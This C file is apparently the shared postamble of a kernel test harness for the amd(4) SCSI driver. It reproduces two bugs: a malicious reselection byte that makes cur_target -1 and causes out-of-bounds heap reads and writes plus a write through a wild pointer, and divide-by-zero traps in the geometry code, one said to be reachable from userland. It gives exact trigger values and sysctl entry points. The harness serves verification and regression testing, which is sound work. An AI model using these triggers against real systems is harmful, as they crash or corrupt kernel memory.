/*
 * DF-2426 / DF-2427 verification harness -- POSTAMBLE (shared).
 *
 * Appended after the verbatim sys/dev/disk/amd/amd.c.  Provides the
 * interposed xpt_done, the emulated AMD53c974 register block + SCSI
 * FIFO, a canary-ringed softc, scenario drivers, and sysctl triggers.
 *
 * DF-2427 scenarios are driven through the REAL amd_intr() interrupt
 * dispatcher (RESELECTED bit -> amd_Reselect, amd.c:1019-1021 ->
 * amd.c:1815-1856) with a fabricated reselection FIFO state:
 *
 *   A   poison reselect ID byte = HostID_Bit alone (0x80): xor with
 *       HostID_Bit -> 0 -> ffs(0)-1 -> cur_target = -1; identify byte
 *       lun 0.  untagged_srbs[-1][0] is softc-8 (8 bytes BEFORE the
 *       softc object); in production that is heap memory preceding
 *       the newbus softc allocation.  The harness pre-loads a victim
 *       pointer there and shows the driver load it as active_srb,
 *       then NULL it out again (OOB write), decrement 16 bits of the
 *       tinfo[] tail (disc_count[-1][0]) and feed tinfo[-1] bytes to
 *       the chip configuration registers.  A follow-on MESSAGE IN
 *       interrupt then writes through the wild active_srb into the
 *       victim object.
 *   A2  same poison byte, identify byte lun 6: untagged_srbs[-1][6]
 *       aliases &amd->cur_target/cur_lun, so the OOB read packs
 *       (cur_target=-1, cur_lun=6) into a non-canonical wild pointer
 *       and the OOB write zeroes both fields.
 *   B   multi-bit byte 0xA8 (initiator bit | bit5 | bit3), device
 *       physically at ID 5: ffs() decodes target 3 -- an innocent
 *       third party -- and the reselection nexus (active_srb,
 *       disc_count, sync registers) is bound to target 3's state.
 *   C   valid byte 0xA0 -> target 5, everything in bounds (control).
 *
 * DF-2426 scenarios drive the REAL amd_action() XPT_CALC_GEOMETRY
 * case (amd.c:678-701) with a fabricated sim + CCB, exactly as
 * xpt_action() would dispatch it (cam_xpt.c:3070-3071):
 *
 *   control    block_size = 512  -> 64/32/100, CAM_REQ_CMP
 *   trigger0   block_size = 0    -> #DE at amd.c:683 (inner divisor)
 *   trigger2   block_size = 2 MiB -> inner division yields 0, so the
 *              OUTER division is by zero.  This variant is NOT
 *              filtered by the XPT garbage filter (cam_xpt.c:3062
 *              only rejects block_size == 0 or volume_size == 0), so
 *              it is the form reachable from userland through
 *              pass(4) CAMIOCOMMAND on machines with this HBA.
 *
 * All driver code that runs between the DFH markers is verbatim
 * amd.c; this file only fabricates state and observes memory.
 */

#undef xpt_done
#undef amd_read8
#undef amd_write8

/* ================= interposed xpt_done ================= */

static volatile int	dfh_armed;
static int		dfh_done_count;
static u_int32_t	dfh_done_status;

static void
dfh_xpt_done(union ccb *ccb)
{
	if (!dfh_armed) {
		xpt_done(ccb);			/* the real one */
		return;
	}
	dfh_done_count++;
	dfh_done_status = ccb->ccb_h.status;
}

/* ================= fabricated AMD53c974 chip ================= */

#define DFH_NREG	0x80
static u_int8_t	dfh_regs[DFH_NREG];
static u_int8_t	dfh_fifo[16];
static int	dfh_fifo_r, dfh_fifo_w;

static void
dfh_chip_reset(void)
{
	memset(dfh_regs, 0, sizeof(dfh_regs));
	memset(dfh_fifo, 0, sizeof(dfh_fifo));
	dfh_fifo_r = dfh_fifo_w = 0;
}

static void
dfh_fifo_push(u_int8_t b)
{
	dfh_fifo[dfh_fifo_w++ % 16] = b;
}

/*
 * Register access shims (installed by df_pre.c over the verbatim
 * amd.h macros).  SCSIFIFOREG (0x08) models the real chip FIFO:
 * consecutive reads pop successive bytes.  Every other register goes
 * through the plain memory path the real bus_space inline would take.
 */
static u_int8_t
dfh_amd_read8(struct amd_softc *amd, u_int port)
{

	if (port == SCSIFIFOREG) {
		if (dfh_fifo_r < dfh_fifo_w)
			return (dfh_fifo[dfh_fifo_r++ % 16]);
		return (dfh_regs[port]);
	}
	return (*(volatile u_int8_t *)(amd->bsh + port));
}

static void
dfh_amd_write8(struct amd_softc *amd, u_int port, u_int8_t val)
{

	if (port == SCSIFIFOREG) {
		dfh_fifo_push(val);
		return;
	}
	*(volatile u_int8_t *)(amd->bsh + port) = val;
}

/* ================= canary-ringed softc + victims ================= */

struct dfh_wrap_s {
	u_int8_t		pre[64];	/* softc-64 .. softc-1 canary */
	struct amd_softc	amd;		/* the softc under test */
	u_int8_t		post[64];	/* canary after the struct */
};
static struct dfh_wrap_s dfh_wrap __attribute__ ((aligned(8)));

#define DFH_SOFTC	(&dfh_wrap.amd)

static struct cam_sim	dfh_sim;
static union ccb	dfh_ccb;

/* victim object standing in for whatever production heap data sits at
 * the wild amd->active_srb the OOB read produces */
static u_int8_t		dfh_victim[sizeof(struct amd_srb)]
			__attribute__ ((aligned(8)));
/* fake per-target SRBs for the wrong-target/valid scenarios */
static u_int8_t		dfh_s3[sizeof(struct amd_srb)]
			__attribute__ ((aligned(8)));
static u_int8_t		dfh_s5[sizeof(struct amd_srb)]
			__attribute__ ((aligned(8)));

static void
dfh_reset_softc(void)
{
	memset(dfh_wrap.pre, 0xA5, sizeof(dfh_wrap.pre));
	memset(dfh_wrap.post, 0x5A, sizeof(dfh_wrap.post));
	memset(DFH_SOFTC, 0, sizeof(*DFH_SOFTC));
	memset(dfh_victim, 0xAA, sizeof(dfh_victim));
	memset(dfh_s3, 0x33, sizeof(dfh_s3));
	memset(dfh_s5, 0x55, sizeof(dfh_s5));

	TAILQ_INIT(&DFH_SOFTC->free_srbs);
	TAILQ_INIT(&DFH_SOFTC->waiting_srbs);
	TAILQ_INIT(&DFH_SOFTC->running_srbs);

	/* realistic adapter config, mirroring amd_init() (amd.c:2308+) */
	amd_load_defaults(DFH_SOFTC);
	DFH_SOFTC->AdaptSCSIID = 7;
	DFH_SOFTC->HostID_Bit = 1 << 7;		/* 0x80 */
	DFH_SOFTC->max_id = 7;
	DFH_SOFTC->max_lun = 7;
	DFH_SOFTC->unit = 0;
	DFH_SOFTC->tag = X86_64_BUS_SPACE_MEM;
	DFH_SOFTC->bsh = (bus_space_handle_t)(uintptr_t)dfh_regs;
	DFH_SOFTC->last_phase = SCSI_BUS_FREE;
	DFH_SOFTC->active_srb = NULL;
}

/* ================= layout / observation helpers ================= */

static void
dfh_dump_range(const char *label, int rel_start, int len)
{
	const u_int8_t *p = (const u_int8_t *)DFH_SOFTC + rel_start;
	int i;

	kprintf("DFH:   %-22s softc%+d [", label, rel_start);
	for (i = 0; i < len; i++) {
		if (i && (i % 8) == 0)
			kprintf(" ");
		kprintf("%02x", p[i]);
	}
	kprintf("]\n");
}

static int
dfh_ring_damage(const u_int8_t *ring, int len, u_int8_t fill)
{
	int i;

	for (i = 0; i < len; i++)
		if (ring[i] != fill)
			return (i);
	return (-1);
}

static void
dfh_show_chip(const char *when)
{
	kprintf("DFH:   chip %-24s CMD=%02x DESTID=%02x INTSTAT=%02x "
		"SYNCPERIOD=%02x SYNCOFF=%02x C1=%02x C3=%02x C4=%02x "
		"DMAcmd=%02x (FIFO=%02x)\n",
		when, dfh_regs[0x0C], dfh_regs[0x10], dfh_regs[0x14],
		dfh_regs[0x18], dfh_regs[0x1C], dfh_regs[0x20],
		dfh_regs[0x30], dfh_regs[0x34], dfh_regs[0x40],
		dfh_regs[0x08]);
}

static void
dfh_dump_layout(void)
{
	int to, uo, dc, i;

	to = __offsetof(struct amd_softc, tinfo);
	uo = __offsetof(struct amd_softc, untagged_srbs);
	dc = __offsetof(struct amd_softc, disc_count);

	kprintf("DFH: layout sizeof(amd_srb)=%lu sizeof(amd_softc)=%lu "
		"sizeof(amd_target_info)=%lu\n",
		(unsigned long)sizeof(struct amd_srb),
		(unsigned long)sizeof(struct amd_softc),
		(unsigned long)sizeof(struct amd_target_info));
	kprintf("DFH: layout offsetof dev=%ld tag=%ld bsh=%ld dmat=%ld "
		"unit=%ld last_phase=%ld cur_target=%ld cur_lun=%ld "
		"active_srb=%ld\n",
		(long)__offsetof(struct amd_softc, dev),
		(long)__offsetof(struct amd_softc, tag),
		(long)__offsetof(struct amd_softc, bsh),
		(long)__offsetof(struct amd_softc, buffer_dmat),
		(long)__offsetof(struct amd_softc, unit),
		(long)__offsetof(struct amd_softc, last_phase),
		(long)__offsetof(struct amd_softc, cur_target),
		(long)__offsetof(struct amd_softc, cur_lun),
		(long)__offsetof(struct amd_softc, active_srb));
	kprintf("DFH: layout offsetof untagged_srbs=%ld tinfo=%ld "
		"disc_count=%ld (tinfo[%ld]..tinfo[7] = softc+%ld..%ld)\n",
		(long)uo, (long)to, (long)dc,
		(long)(6), (long)(to + 72), (long)(dc - 1));
	kprintf("DFH: layout tinfo[-1] spans softc%+d..%+d: final %d "
		"bytes of untagged_srbs[7][6] (softc%+d..%+d) + all of "
		"untagged_srbs[7][7] (softc%+d..%+d)\n",
		to - 12, to - 1, to - (uo + 62 * 8),
		uo + 62 * 8, to - 1, to, to + 7);
	kprintf("DFH: layout tinfo[-1] fields: disc_tag@%d CtrlR1@%d "
		"CtrlR3@%d CtrlR4@%d sync_period_reg@%d sync_offset_reg@%d\n",
		to - 12, to - 12 + 1, to - 12 + 2, to - 12 + 3,
		to - 12 + 4, to - 12 + 5);
	for (i = 0; i < 8; i++)
		kprintf("DFH: layout disc_count[-1][%d] @softc%+d "
		"(tinfo[%d] tail)\n", i, dc - 16 + 2 * i,
		6 + i / 4);
	for (i = 0; i < 8; i++) {
		int rel = uo - 64 + 8 * i;
		const char *alias = "?";

		switch (rel) {
		case -8:	alias = "8 B BEFORE softc (heap hdr)";	break;
		case 0:		alias = "&amd->dev";		break;
		case 8:		alias = "&amd->tag";		break;
		case 16:	alias = "&amd->bsh";		break;
		case 24:	alias = "&amd->buffer_dmat";	break;
		case 32:	alias = "&amd->unit+last_phase";	break;
		case 40:	alias = "&amd->cur_target+cur_lun";	break;
		case 48:	alias = "&amd->active_srb";	break;
		}
		kprintf("DFH: layout untagged_srbs[-1][%d] @softc%+d  %s\n",
			i, rel, alias);
	}
}

/* ================= DF-2427 scenarios ================= */

static void
dfh_fire_intr(u_int8_t scsistat, u_int8_t intstat)
{
	dfh_regs[0x10] = scsistat;		/* SCSISTATREG */
	dfh_regs[0x14] = intstat;		/* INTSTATREG */
	amd_intr((void *)DFH_SOFTC);		/* THE REAL ISR */
}

static int dfh_fail;

static void
dfh_check(int cond, const char *what)
{
	kprintf("DFH:   %s %s\n", cond ? "PASS:" : "*** FAIL:", what);
	if (!cond)
		dfh_fail++;
}

/*
 * Scenario A: reselect ID byte = HostID_Bit alone (0x80), lun 0.
 *
 * Self-diagnosing: on the verbatim kernel the scenario confirms the
 * full DF-2427 corruption chain; on a kernel with the target-range
 * guard it confirms the reselect is rejected with no memory damage.
 */
static void
dfh_2427_poison_lun0(void)
{
	int to, dc;
	u_int16_t *dc_m1_0;
	u_int16_t victim_state;
	int vuln;

	to = __offsetof(struct amd_softc, tinfo);
	dc = __offsetof(struct amd_softc, disc_count);
	dc_m1_0 = (u_int16_t *)((u_int8_t *)DFH_SOFTC + dc - 16);

	kprintf("DFH: ==== DF-2427 scenario A: poison reselect byte 0x80 "
		"(= HostID_Bit), lun 0 ====\n");

	dfh_chip_reset();
	dfh_reset_softc();
	/* OOB READ source: the 8 bytes before the softc */
	*(void **)&dfh_wrap.pre[56] = (void *)dfh_victim;
	/* tinfo[-1] source bytes (tail of untagged_srbs[7][6..7]) */
	DFH_SOFTC->untagged_srbs[7][6] =
	    (struct amd_srb *)(uintptr_t)0x8899AABBCCDDEEFFULL;
	DFH_SOFTC->untagged_srbs[7][7] =
	    (struct amd_srb *)(uintptr_t)0x0011223344556677ULL;

	dfh_dump_range("pre-state softc-16..-1", -16, 16);
	dfh_dump_range("pre-state tinfo[6]..[7]", to + 72, 24);
	kprintf("DFH:   pre-state: disc_count[-1][0] (tinfo[6].goal) = "
		"0x%04x, active_srb=%p\n", *dc_m1_0, DFH_SOFTC->active_srb);

	/* the malicious target drives reselection: FIFO holds [ID byte,
	 * identify byte]; only the initiator's own bit is asserted */
	dfh_fifo_push(0x80);
	dfh_fifo_push(0x80);			/* identify, lun 0 */

	dfh_regs[0x10] = 0x80;			/* SCSISTATREG: INTERRUPT */
	dfh_regs[0x14] = 0x04;			/* INTSTATREG: RESELECTED */
	amd_intr((void *)DFH_SOFTC);		/* THE REAL ISR PATH */

	kprintf("DFH:   post-reselect: cur_target=%d cur_lun=%d "
		"active_srb=%p (victim=%p)\n",
		DFH_SOFTC->cur_target, DFH_SOFTC->cur_lun,
		DFH_SOFTC->active_srb, dfh_victim);

	vuln = (DFH_SOFTC->cur_target == -1);
	kprintf("DFH:   >>> kernel exhibits %s behavior <<<\n",
		vuln ? "VULNERABLE (cur_target == -1)" :
		"FIXED (reselect rejected)");

	if (vuln) {
		dfh_check(DFH_SOFTC->cur_target == -1,
			  "amd.c:1831 ffs(0)-1 produced cur_target = -1");
		dfh_check(DFH_SOFTC->cur_lun == 0,
			  "identify byte decoded lun 0");
		dfh_check(DFH_SOFTC->active_srb ==
		    (struct amd_srb *)dfh_victim,
			  "amd.c:1834 OOB READ untagged_srbs[-1][0] "
			  "(softc-8) loaded wild active_srb");

		{
			int i;
			int zeroed = 1;

			for (i = 56; i < 64; i++)
				if (dfh_wrap.pre[i] != 0x00)
					zeroed = 0;
			dfh_check(zeroed,
				  "amd.c:1845 OOB WRITE "
				  "untagged_srbs[-1][0]=NULL zeroed "
				  "softc-8..-1 (pre-ring smashed)");
			dfh_check(dfh_ring_damage(dfh_wrap.pre, 56, 0xA5)
			    == -1, "rest of pre-ring untouched");
			dfh_check(dfh_ring_damage(dfh_wrap.post, 64, 0x5A)
			    == -1, "post ring untouched");
		}
		dfh_dump_range("post softc-16..-1", -16, 16);
		dfh_dump_range("post tinfo[6]..[7]", to + 72, 24);
		dfh_check(*dc_m1_0 == 0xFFFF,
			  "amd.c:1844 OOB WRITE disc_count[-1][lun]-- "
			  "decremented 16 bits of tinfo[6].goal "
			  "(0x0000 -> 0xFFFF)");

		dfh_show_chip("after amd_Reselect");
		dfh_check(dfh_regs[0x10] == 0xFF,
			  "amd.c:1848 wrote cur_target(-1) as 0xFF to "
			  "DESTID reg");
		dfh_check(dfh_regs[0x18] == 0x77 && dfh_regs[0x1C] == 0x66,
			  "amd.c:1849-1850 loaded sync regs from tinfo[-1] "
			  "(OOB bytes of untagged_srbs[7][7])");
		dfh_check(dfh_regs[0x20] == 0xAA &&
			  dfh_regs[0x30] == 0x99 && dfh_regs[0x34] == 0x88,
			  "amd.c:1851-1853 loaded C1/C3/C4 from tinfo[-1] "
			  "(OOB bytes of untagged_srbs[7][6])");

		/*
		 * Follow-on: the malicious target drives MESSAGE IN
		 * with MSG_DISCONNECT.  The real amd_MsgInPhase0 ->
		 * amdparsemsg writes amd->active_srb->SRBState --
		 * through the wild pointer the OOB read produced --
		 * and RMWs disc_count[-1][0] again.
		 */
		victim_state = *(u_int16_t *)(dfh_victim +
		    __offsetof(struct amd_srb, SRBState));
		kprintf("DFH:   follow-on MSG IN: victim SRBState before ="
			" 0x%04x\n", victim_state);
		DFH_SOFTC->last_phase = SCSI_MSG_IN;
		dfh_fifo_push(MSG_DISCONNECT);
		dfh_fire_intr(0x80 | 0x07, 0x08 | 0x10);
		victim_state = *(u_int16_t *)(dfh_victim +
		    __offsetof(struct amd_srb, SRBState));
		kprintf("DFH:   follow-on MSG IN: victim SRBState after  ="
			" 0x%04x (SRB_DISCONNECT=0x%04x)\n", victim_state,
			(u_int16_t)SRB_DISCONNECT);
		dfh_check(victim_state == SRB_DISCONNECT,
			  "amd.c:1218 wrote SRB_DISCONNECT through the wild "
			  "active_srb into the victim object (2-byte write "
			  "at an address taken from OOB heap memory)");
		dfh_check(*dc_m1_0 == 0x0000,
			  "amd.c:1219 second OOB RMW disc_count[-1][0]++ "
			  "back to 0x0000");
		DFH_SOFTC->last_phase = SCSI_MSG_IN;
		dfh_fifo_push(MSG_DISCONNECT);
		dfh_fire_intr(0x80 | 0x07, 0x08 | 0x10);
		dfh_check(*dc_m1_0 == 0x0001,
			  "amd.c:1219 third OOB RMW disc_count[-1][0]++ -> "
			  "0x0001 (tinfo[6].goal attacker-steered)");
		dfh_dump_range("final tinfo[6]..[7]", to + 72, 24);
	} else {
		dfh_check(DFH_SOFTC->active_srb == NULL,
			  "rejected reselect left active_srb NULL");
		dfh_check(dfh_ring_damage(dfh_wrap.pre, 56, 0xA5) == -1 &&
			  dfh_ring_damage(dfh_wrap.post, 64, 0x5A) == -1,
			  "canary rings intact (no OOB access; pre[56..63] "
			  "holds our own pre-loaded victim pointer)");
		dfh_check(*dc_m1_0 == 0x0000,
			  "tinfo tail intact (no OOB decrement)");
		victim_state = *(u_int16_t *)(dfh_victim +
		    __offsetof(struct amd_srb, SRBState));
		dfh_check(victim_state == 0xAAAA,
			  "victim object untouched (no write through a "
			  "wild pointer)");
		dfh_show_chip("after rejected reselect");
		dfh_check(dfh_regs[0x0C] == RST_SCSI_BUS_CMD &&
			  dfh_regs[0x40] == DMA_IDLE_CMD,
			  "driver answered with SCSI bus reset");
	}
}

/*
 * Scenario A2: poison byte 0x80, identify byte lun 6.
 */
static void
dfh_2427_poison_lun6(int let_it_deref)
{
	int dc;
	int vuln;

	dc = __offsetof(struct amd_softc, disc_count);
	kprintf("DFH: ==== DF-2427 scenario A2: poison byte 0x80, lun 6 "
		"(field-alias variant; deref=%d) ====\n", let_it_deref);

	dfh_chip_reset();
	dfh_reset_softc();

	dfh_fifo_push(0x80);
	dfh_fifo_push(0x86);			/* identify, lun 6 */

	dfh_regs[0x10] = 0x80;
	dfh_regs[0x14] = 0x04;			/* RESELECTED */
	amd_intr((void *)DFH_SOFTC);

	kprintf("DFH:   post-reselect: cur_target=%d cur_lun=%d "
		"active_srb=%p\n",
		DFH_SOFTC->cur_target, DFH_SOFTC->cur_lun,
		DFH_SOFTC->active_srb);

	vuln = (DFH_SOFTC->active_srb ==
	    (struct amd_srb *)(uintptr_t)0x00000006FFFFFFFFULL);
	kprintf("DFH:   >>> kernel exhibits %s behavior <<<\n",
		vuln ? "VULNERABLE (wild active_srb)" :
		"FIXED (reselect rejected)");
	if (vuln) {
		dfh_check(1, "amd.c:1834 read untagged_srbs[-1][6] == "
			  "packed (cur_target,cur_lun) -> non-canonical "
			  "wild pointer");
		dfh_check(DFH_SOFTC->cur_target == 0 &&
			  DFH_SOFTC->cur_lun == 0,
			  "amd.c:1845 OOB WRITE untagged_srbs[-1][6]=NULL "
			  "zeroed cur_target and cur_lun");
		dfh_check(*(u_int16_t *)((u_int8_t *)DFH_SOFTC +
		    dc - 16 + 12) == 0xFFFF,
			  "amd.c:1844 OOB dec hit disc_count[-1][6] "
			  "(tinfo[7].goal 0x0000 -> 0xFFFF)");
		dfh_show_chip("after amd_Reselect");

		if (let_it_deref) {
			kprintf("DFH:   follow-on: real MSG IN now "
				"dereferences the non-canonical active_srb "
				"-> kernel fault expected\n");
			DFH_SOFTC->last_phase = SCSI_MSG_IN;
			dfh_fifo_push(MSG_DISCONNECT);
			dfh_fire_intr(0x80 | 0x07, 0x08 | 0x10);
			kprintf("DFH:   *** UNEXPECTED: no fault ***\n");
		}
	} else {
		dfh_check(DFH_SOFTC->active_srb == NULL,
			  "rejected reselect left active_srb NULL");
		dfh_check(DFH_SOFTC->cur_target != -1 ||
			  dfh_ring_damage(dfh_wrap.pre, 64, 0xA5) == -1,
			  "no OOB access (pre-ring intact)");
		dfh_show_chip("after rejected reselect");
		if (let_it_deref)
			kprintf("DFH:   follow-on skipped: no wild pointer "
				"was installed\n");
	}
}

/*
 * Scenario B: multi-bit garbage byte 0xA8.
 */
static void
dfh_2427_wrong_target(void)
{
	int vuln;

	kprintf("DFH: ==== DF-2427 scenario B: multi-bit byte 0xA8, "
		"attacker on wire at ID 5, decodes to target 3 ====\n");

	dfh_chip_reset();
	dfh_reset_softc();
	DFH_SOFTC->untagged_srbs[3][0] = (struct amd_srb *)dfh_s3;
	DFH_SOFTC->disc_count[3][0] = 1;
	DFH_SOFTC->tinfo[3].sync_period_reg = 0x3A;
	DFH_SOFTC->tinfo[3].sync_offset_reg = 0x0C;
	DFH_SOFTC->tinfo[3].CtrlR1 = 0x71;
	DFH_SOFTC->tinfo[3].CtrlR3 = 0x73;
	DFH_SOFTC->tinfo[3].CtrlR4 = 0x74;

	dfh_fifo_push(0xA8);
	dfh_fifo_push(0x80);

	dfh_regs[0x10] = 0x80;
	dfh_regs[0x14] = 0x04;
	amd_intr((void *)DFH_SOFTC);

	kprintf("DFH:   post-reselect: cur_target=%d cur_lun=%d "
		"active_srb=%p (target-3 SRB=%p)\n",
		DFH_SOFTC->cur_target, DFH_SOFTC->cur_lun,
		DFH_SOFTC->active_srb, dfh_s3);

	vuln = (DFH_SOFTC->cur_target == 3);
	kprintf("DFH:   >>> kernel exhibits %s behavior <<<\n",
		vuln ? "VULNERABLE (wrong target accepted)" :
		"FIXED (multi-bit reselect rejected)");
	if (vuln) {
		dfh_check(DFH_SOFTC->cur_target == 3,
			  "amd.c:1831 decoded WRONG target 3 from attacker "
			  "ID-5 reselect (confused deputy)");
		dfh_check(DFH_SOFTC->active_srb ==
		    (struct amd_srb *)dfh_s3,
			  "amd.c:1834 bound reselection to target 3's SRB "
			  "-- target-3 I/O now resumes under target-5's "
			  "nexus");
		dfh_check(DFH_SOFTC->disc_count[3][0] == 0 &&
			  DFH_SOFTC->untagged_srbs[3][0] == NULL,
			  "amd.c:1844-1845 consumed target-3 disconnect "
			  "slot");
		dfh_show_chip("after amd_Reselect");
		dfh_check(dfh_regs[0x10] == 0x03 &&
			  dfh_regs[0x18] == 0x3A && dfh_regs[0x1C] == 0x0C,
			  "chip reprogrammed for target 3's sync "
			  "parameters");
		dfh_check(dfh_ring_damage(dfh_wrap.pre, 64, 0xA5) == -1 &&
			  dfh_ring_damage(dfh_wrap.post, 64, 0x5A) == -1,
			  "no out-of-struct damage in the in-range "
			  "variant");
	} else {
		dfh_check(DFH_SOFTC->active_srb == NULL &&
			  DFH_SOFTC->disc_count[3][0] == 1 &&
			  DFH_SOFTC->untagged_srbs[3][0] ==
			      (struct amd_srb *)dfh_s3,
			  "target-3 nexus untouched (no SRB confusion)");
		dfh_check(dfh_ring_damage(dfh_wrap.pre, 64, 0xA5) == -1 &&
			  dfh_ring_damage(dfh_wrap.post, 64, 0x5A) == -1,
			  "both canary rings intact");
		dfh_show_chip("after rejected reselect");
		dfh_check(dfh_regs[0x0C] == RST_SCSI_BUS_CMD,
			  "driver answered with SCSI bus reset");
	}
}

/*
 * Scenario C: valid byte 0xA0 (initiator bit + bit 5) -> target 5.
 */
static void
dfh_2427_valid_control(void)
{
	kprintf("DFH: ==== DF-2427 scenario C: valid byte 0xA0 -> target 5 "
		"(control) ====\n");

	dfh_chip_reset();
	dfh_reset_softc();
	DFH_SOFTC->untagged_srbs[5][0] = (struct amd_srb *)dfh_s5;
	DFH_SOFTC->disc_count[5][0] = 1;
	DFH_SOFTC->tinfo[5].sync_period_reg = 0x50;
	DFH_SOFTC->tinfo[5].sync_offset_reg = 0x0F;
	DFH_SOFTC->tinfo[5].CtrlR1 = 0x75;
	DFH_SOFTC->tinfo[5].CtrlR3 = 0x35;
	DFH_SOFTC->tinfo[5].CtrlR4 = 0x54;

	dfh_fifo_push(0xA0);
	dfh_fifo_push(0x80);

	dfh_regs[0x10] = 0x80;
	dfh_regs[0x14] = 0x04;
	amd_intr((void *)DFH_SOFTC);

	kprintf("DFH:   post-reselect: cur_target=%d cur_lun=%d "
		"active_srb=%p (target-5 SRB=%p)\n",
		DFH_SOFTC->cur_target, DFH_SOFTC->cur_lun,
		DFH_SOFTC->active_srb, dfh_s5);
	dfh_check(DFH_SOFTC->cur_target == 5 &&
		  DFH_SOFTC->active_srb == (struct amd_srb *)dfh_s5 &&
		  DFH_SOFTC->disc_count[5][0] == 0 &&
		  DFH_SOFTC->untagged_srbs[5][0] == NULL,
		  "valid reselect binds the correct nexus");
	dfh_show_chip("after amd_Reselect");
	dfh_check(dfh_regs[0x10] == 0x05 && dfh_regs[0x18] == 0x50 &&
		  dfh_regs[0x1C] == 0x0F,
		  "chip programmed for target 5");
	dfh_check(dfh_ring_damage(dfh_wrap.pre, 64, 0xA5) == -1 &&
		  dfh_ring_damage(dfh_wrap.post, 64, 0x5A) == -1,
		  "control run leaves both canary rings intact");
}

static void
dfh_2427_battery(int mode)
{
	dfh_fail = 0;
	kprintf("DFH: ########## DF-2427 battery mode=%d BEGIN "
		"##########\n", mode);
	dfh_dump_layout();
	dfh_2427_poison_lun0();
	dfh_2427_poison_lun6(mode >= 2);
	dfh_2427_wrong_target();
	dfh_2427_valid_control();
	kprintf("DFH: ########## DF-2427 battery mode=%d END: %d check(s) "
		"failed ##########\n", mode, dfh_fail);
}

/* ================= DF-2426 scenarios ================= */

static void
dfh_2426_geometry(u_int32_t block_size, u_int32_t volume_size)
{
	memset(&dfh_sim, 0, sizeof(dfh_sim));
	dfh_sim.softc = DFH_SOFTC;

	memset(&dfh_ccb, 0, sizeof(dfh_ccb));
	dfh_ccb.ccb_h.func_code = XPT_CALC_GEOMETRY;
	dfh_ccb.ccb_h.target_id = 1;
	dfh_ccb.ccb_h.target_lun = 0;
	dfh_ccb.ccg.block_size = block_size;
	dfh_ccb.ccg.volume_size = volume_size;
	dfh_ccb.ccb_h.status = CAM_REQ_INPROG;

	kprintf("DFH: ---- XPT_CALC_GEOMETRY block_size=%u "
		"volume_size=%u (expecting %s) ----\n",
		block_size, volume_size,
		block_size == 0 ? "DIVIDE BY ZERO at amd.c:683" :
		block_size > (1024U * 1024U) ?
		"inner div -> 0, OUTER DIVIDE BY ZERO at amd.c:683" :
		"sane geometry");

	dfh_done_count = 0;
	dfh_done_status = 0;
	dfh_armed = 1;
	amd_action(&dfh_sim, &dfh_ccb);		/* THE REAL DISPATCH */
	dfh_armed = 0;

	kprintf("DFH: RESULT amd_action returned, xpt_done=%d "
		"status=0x%02x heads=%u secs=%u cylinders=%u\n",
		dfh_done_count, dfh_done_status & CAM_STATUS_MASK,
		dfh_ccb.ccg.heads, dfh_ccb.ccg.secs_per_track,
		dfh_ccb.ccg.cylinders);
}

static void
dfh_2426_control(void)
{
	kprintf("DFH: ==== DF-2426 control: block_size = 512 ====\n");
	dfh_chip_reset();
	dfh_reset_softc();
	dfh_2426_geometry(512, 204800);
	dfh_check(dfh_done_count == 1 &&
	    (dfh_done_status & CAM_STATUS_MASK) == CAM_REQ_CMP &&
	    dfh_ccb.ccg.heads == 64 && dfh_ccb.ccg.secs_per_track == 32 &&
	    dfh_ccb.ccg.cylinders == 100,
	    "nonzero block_size computes 64/32/100 geometry, CAM_REQ_CMP");
}

static void
dfh_2426_trigger0(void)
{
	kprintf("DFH: ==== DF-2426 trigger: block_size = 0 ====\n");
	dfh_chip_reset();
	dfh_reset_softc();
	kprintf("DFH: calling amd_action: Fatal trap 18 imminent on the "
		"verbatim kernel (amd.c:683, (1024L*1024L)/ccg->"
		"block_size with block_size=0)\n");
	dfh_2426_geometry(0, 204800);
	/* reaching here means no trap: only possible on a patched amd.c */
	dfh_check(dfh_done_count == 1 &&
	    (dfh_done_status & CAM_STATUS_MASK) == CAM_REQ_CMP_ERR,
	    "FIXED kernel: no trap; amd_action rejected block_size=0 "
	    "with CAM_REQ_CMP_ERR");
}

static void
dfh_2426_trigger_big(void)
{
	kprintf("DFH: ==== DF-2426 trigger2: block_size = 2 MiB (passes "
		"the XPT garbage filter cam_xpt.c:3062; inner division "
		"yields 0) ====\n");
	dfh_chip_reset();
	dfh_reset_softc();
	kprintf("DFH: calling amd_action: Fatal trap 18 imminent on the "
		"verbatim kernel (amd.c:683, volume_size/((1024L*1024L)/"
		"2097152) == volume_size/0)\n");
	dfh_2426_geometry(2097152, 204800);
	/* reaching here means no trap: only possible on a patched amd.c */
	dfh_check(dfh_done_count == 1 &&
	    (dfh_done_status & CAM_STATUS_MASK) == CAM_REQ_CMP_ERR,
	    "FIXED kernel: no trap; amd_action rejected the 2 MiB "
	    "block_size with CAM_REQ_CMP_ERR");
}

/* ================= sysctl triggers ================= */

static int
dfh_sysctl_2427_layout(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	dfh_dump_layout();
	return (0);
}

static int
dfh_sysctl_2427_battery(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	dfh_2427_battery(t);
	return (0);
}

static int
dfh_sysctl_2426_control(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	dfh_fail = 0;
	kprintf("DFH: ########## DF-2426 control BEGIN ##########\n");
	dfh_2426_control();
	kprintf("DFH: ########## DF-2426 control END: %d check(s) failed "
		"##########\n", dfh_fail);
	return (0);
}

static int
dfh_sysctl_2426_trigger0(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	dfh_2426_trigger0();
	return (0);
}

static int
dfh_sysctl_2426_trigger_big(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	dfh_2426_trigger_big();
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, df2426, CTLFLAG_RW, 0, "DF-2426 rig");
SYSCTL_PROC(_debug_df2426, OID_AUTO, control, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_2426_control, "I",
	    "XPT_CALC_GEOMETRY control: block_size=512 -> CAM_REQ_CMP");
